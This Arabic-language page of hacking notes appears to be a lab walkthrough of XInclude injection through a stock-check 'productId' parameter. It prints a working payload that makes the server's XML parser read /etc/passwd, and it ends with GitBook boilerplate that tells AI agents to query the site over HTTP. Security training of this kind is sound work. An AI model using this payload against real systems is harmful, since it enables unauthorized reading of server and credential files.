> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xxe/file-reading-with-xinclude.md).

# قراءة ملف باستخدام XInclude

### استغلال XInclude لاسترجاع الملفات

يحتوي المختبر على **التحقق من المخزون** ميزة تقوم بإدراج المدخلات المقدمة من المستخدم في مستند XML على جانب الخادم، ثم يتم الفحص. أنت لا تتحكم في مستند XML بالكامل، لذا من المستحيل تعريف DTD لهجوم XXE الكلاسيكي.

استخدم **XInclude** لاستعادة محتوى **/etc/passwd** الملف عن طريق حقن تضمين XInclude الذي سيحله المحلل على جانب الخادم.

* الإعدادات المُرسلة مبدئيًا: `productId=1&storeId=1`.

```php
productId=1&storeId=1
```

* تحقق: قيمة `productId` تُستعاد ويحللها الخادم. على سبيل المثال `productId=test&storeId=1` تُفسَّر وتُنعكس.

```
productId=test&storeId=1
```

<figure><img src="/files/98d8785a5cafeb817835f86f9dc7af3767cf8a14" alt=""><figcaption></figcaption></figure>

حقن تضمين XInclude في `productId` لإجبار قراءة ملف محلي.

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

المعامل المُرسل كمثال:

```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

يُفسِّر المحلل تضمين XInclude ويُدرِج `/etc/passwd` المحتوى في المستند المُحلَّل — القيمة المقدمة في `productId` تتم معالجتها ويتم قراءة الملف.

<figure><img src="/files/6805353249c40e6cb251b9f0a0e6ab6ebb0b2575" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xxe/file-reading-with-xinclude.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
